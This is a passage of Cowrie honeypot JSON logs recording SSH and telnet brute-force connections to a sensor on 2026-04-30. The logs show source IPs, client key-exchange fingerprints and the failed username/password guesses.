gs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:36.519756Z","src_ip":"20.193.141.133","session":"09f2574d071d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin0.0","message":"login attempt [root/admin0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:37.293815Z","src_ip":"20.193.141.133","session":"09f2574d071d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:38.480288Z","src_ip":"20.193.141.133","session":"09f2574d071d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36734,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd40d131423c","protocol":"ssh","message":"New connection: 159.203.92.129:36734 (159.203.135.109:22) [session: dd40d131423c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:50.691972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:51.071598Z","src_ip":"159.203.92.129","session":"dd40d131423c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:51.075886Z","src_ip":"159.203.92.129","session":"dd40d131423c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acs","password":"acs","message":"login attempt [acs/acs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:52.219693Z","src_ip":"159.203.92.129","session":"dd40d131423c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:00:53.725876Z","src_ip":"159.203.92.129","session":"dd40d131423c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58614,"dst_ip":"159.203.135.109","dst_port":22,"session":"da815d4f624c","protocol":"ssh","message":"New connection: 159.203.92.129:58614 (159.203.135.109:22) [session: da815d4f624c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:34.553325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:34.557849Z","src_ip":"159.203.92.129","session":"da815d4f624c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:34.566628Z","src_ip":"159.203.92.129","session":"da815d4f624c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"act1","password":"act1","message":"login attempt [act1/act1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:34.580024Z","src_ip":"159.203.92.129","session":"da815d4f624c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:35.587685Z","src_ip":"159.203.92.129","session":"da815d4f624c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":24275,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e02a47af42e","protocol":"ssh","message":"New connection: 20.193.141.133:24275 (10.17.0.5:22) [session: 1e02a47af42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:43.720479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:43.725034Z","src_ip":"20.193.141.133","session":"1e02a47af42e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:43.913984Z","src_ip":"20.193.141.133","session":"1e02a47af42e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user1234567","message":"login attempt [ubuntu/user1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:44.703476Z","src_ip":"20.193.141.133","session":"1e02a47af42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:01:45.896114Z","src_ip":"20.193.141.133","session":"1e02a47af42e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39164,"dst_ip":"159.203.135.109","dst_port":22,"session":"52627281f4c4","protocol":"ssh","message":"New connection: 159.203.92.129:39164 (159.203.135.109:22) [session: 52627281f4c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:19.599391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:19.605818Z","src_ip":"159.203.92.129","session":"52627281f4c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:19.610692Z","src_ip":"159.203.92.129","session":"52627281f4c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"act","password":"act","message":"login attempt [act/act] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:19.628757Z","src_ip":"159.203.92.129","session":"52627281f4c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:20.637190Z","src_ip":"159.203.92.129","session":"52627281f4c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":10493,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2a805825c0","protocol":"ssh","message":"New connection: 20.193.141.133:10493 (10.17.0.5:22) [session: ab2a805825c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:48.735962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:48.740660Z","src_ip":"20.193.141.133","session":"ab2a805825c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:48.936881Z","src_ip":"20.193.141.133","session":"ab2a805825c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"gfhjkm","message":"login attempt [admin/gfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:49.754475Z","src_ip":"20.193.141.133","session":"ab2a805825c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:02:50.952546Z","src_ip":"20.193.141.133","session":"ab2a805825c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54772,"dst_ip":"159.203.135.109","dst_port":22,"session":"984edfd5aa3e","protocol":"ssh","message":"New connection: 159.203.92.129:54772 (159.203.135.109:22) [session: 984edfd5aa3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:05.471982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:05.590365Z","src_ip":"159.203.92.129","session":"984edfd5aa3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:05.595004Z","src_ip":"159.203.92.129","session":"984edfd5aa3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"act","password":"act1","message":"login attempt [act/act1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:05.970934Z","src_ip":"159.203.92.129","session":"984edfd5aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:07.085637Z","src_ip":"159.203.92.129","session":"984edfd5aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":54420,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ec7f133624b","protocol":"ssh","message":"New connection: 117.247.23.131:54420 (159.203.135.109:22) [session: 3ec7f133624b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:16.633068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:16.638105Z","src_ip":"117.247.23.131","session":"3ec7f133624b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:17.314286Z","src_ip":"117.247.23.131","session":"3ec7f133624b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.96.211.163","src_port":45487,"dst_ip":"10.17.0.5","dst_port":23,"session":"336c489f4ea0","protocol":"telnet","message":"New connection: 123.96.211.163:45487 (10.17.0.5:23) [session: 336c489f4ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:22.095355Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD","message":"login attempt [root/123asdASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:22.199837Z","src_ip":"117.247.23.131","session":"3ec7f133624b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:24.066908Z","src_ip":"117.247.23.131","session":"3ec7f133624b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.41610860824585,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:35.511328Z","src_ip":"123.96.211.163","session":"336c489f4ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":40934,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b260426fee","protocol":"ssh","message":"New connection: 45.227.254.170:40934 (159.203.135.109:22) [session: 51b260426fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:42.726808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:03:42.732017Z","src_ip":"45.227.254.170","session":"51b260426fee","protocol":"ssh"}
